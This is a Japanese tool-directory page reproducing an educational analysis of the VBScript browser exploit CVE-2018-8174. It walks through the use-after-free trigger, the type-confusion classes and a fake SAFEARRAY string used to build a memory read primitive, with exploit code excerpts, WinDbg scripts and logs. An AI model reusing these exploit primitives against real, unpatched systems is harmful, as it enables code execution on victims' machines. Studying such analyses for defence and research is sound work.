Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2018-8174_analysis — VBSエクスプロイトCVE-2018-8174の解析 | Kitploit
ツール/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
メモリフォレンジック脆弱性分析エクスプロイトリバースエンジニアリング学習と教育バイナリエクスプロイト
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

VBSエクスプロイトCVE-2018-8174の解析

リポジトリを見る
3014168年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

最新ブラウザエクスプロイトの解析: CVE-2018-8174 のケーススタディ

概要

このエクスプロイトが2018年4月から5月にかけて初めて登場したとき、私は強い興味を抱きました。なぜなら、高度に難読化されているにもかかわらず、コード構造はよく整理されており、脆弱性のエクスプロイトコードは十分に小さく、解析が簡単だったからです。GitHubのPoC をダウンロードし、内部を詳しく調べるのに適した候補だと判断しました。当時、すでに2つの解析が公開されていました。1つは360、もう1つはKasperskyによるものです。両方の解析は動作の理解に役立ちましたが、エクスプロイトのあらゆる側面を深く理解するには十分ではありませんでした。そこで、自分で解析し、その結果を共有することにしました。

前処理

まず、整数難読化を取り除くために、Pythonスクリプトで正規表現置換を使用しました。

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# 極めて安全 :)

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

難読化された名前については、解析の進行に合わせて段階的に名前を変更しました。この解析は、末尾にリンクがあるソースコードと一緒に読むのが最適です。

解放後使用

脆弱性は、オブジェクトが終了され、カスタム定義関数 Class_Terminate() が呼び出されたときに発生します。この関数では、解放されているオブジェクトへの参照が UafArray に保存されます。以降、UafArray(i) は削除されたオブジェクトを指します。

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' 参照カウンタを修正
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

また、Class_Terminate() の最後の行にも注目してください。ClassTerminate オブジェクトを UafArray にコピーすると、その参照カウンタが増加します。これをバランスさせるために、FreedObjectArray に別の値を代入して、再度解放します。これを行わないと、Class_Terminate を呼び出してもオブジェクトのメモリが解放されず、次のオブジェクトがその場所に割り当てられなくなります。

VBScriptClass::Release メソッド

新しいオブジェクトの作成と削除はループ内で7回繰り返され、その後、ReuseClass クラスの新しいオブジェクトが作成されます。この新しいオブジェクトは、以前に7つの ClassTerminate インスタンスが占有していた同じメモリに割り当てられます。 これをよりよく理解するために、すべての割り当てを追跡する簡単な WinDbg スクリプトを示します。

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

UafTrigger 関数からの割り当てログは以下のとおりです。

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

ReuseClass が確かに7つの以前の ClassTerminate インスタンスに割り当てられていたのと同じメモリに割り当てられていることがすぐにわかります。 これは2回繰り返されます。最終的に、UafArrays によって参照される2つのオブジェクトが得られます。これらの参照はいずれもオブジェクトの参照カウンタに反映されていません。 このログでは、Class_Terminate が呼び出された後でも、オブジェクトの参照カウンタを変更する操作がいくつかあることにも気づきます。 そのため、Class_Terminate 内でこのカウンタのバランスを取らなかった場合、次のような結果になります。

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

異なる割り当てアドレスが表示されます。エクスプロイトは解放後使用状態の作成に失敗します。

型混乱

各オブジェクトに対して7つの未カウント参照を持つ2つのオブジェクトを作成したことで、任意のメモリ読み取りプリミティブを確立しました。 ReuseClass と FakeReuseClass という2つの類似したクラスがあります。最初のクラスを2番目のクラスに置き換えることで、mem メンバーに型混乱が発生します。

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' 実際にはデフォルトプロパティ Get が呼び出される
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

SetProp 関数では、ReuseClass.mem が保存され、ReplacingClass_* クラスの Default Property Get が呼び出され、その呼び出しの結果が ReuseClass.mem に配置されます。

Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		' 16進値: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

このゲッターの内部で、UafArray の各要素に0を代入して空にします。これにより、UafArray によって参照されている ReuseClass オブジェクトに対して VBScriptClass::Release が呼び出されます。この実行段階では、ReuseClass オブジェクトの参照カウンタが7に等しいことが判明し、Release を7回呼び出すため、このオブジェクトは解放されます。そして、これらの参照は解放後使用の状況から来ているため、参照カウンタには計上されていません。 ReuseClass の代わりに、FakeReuseClass の新しいオブジェクトが割り当てられます。ここで、ReuseClass の場合と同じように参照カウンタを7にするために、UafArray に7回代入します。 以下は、この操作の前後のメモリレイアウトです。

ReuseClass を FakeReuseClass に置き換え

VBScript オブジェクトの図

これが完了すると、ゲッター関数は、古い ReuseClass::mem 変数に代入される値を返します。メモリダンプからわかるように、古い値は新しい値より0xCバイト前に配置されていました。オブジェクトは、関数名の適切な長さを選択するなど、この状況を引き起こすように特別に細工されていました。これで、ReuseClass::mem に書き込まれた値が FakeReuseClass::mem のヘッダーを上書きし、型混乱の状況が発生します。

mem メンバーの型混乱

FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY 構造体を文字列として
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") '書き込みに使用するメモリ領域としての null を含む文字列

objectImitatingArray.mem = FakeArrayString
ツールをダウンロード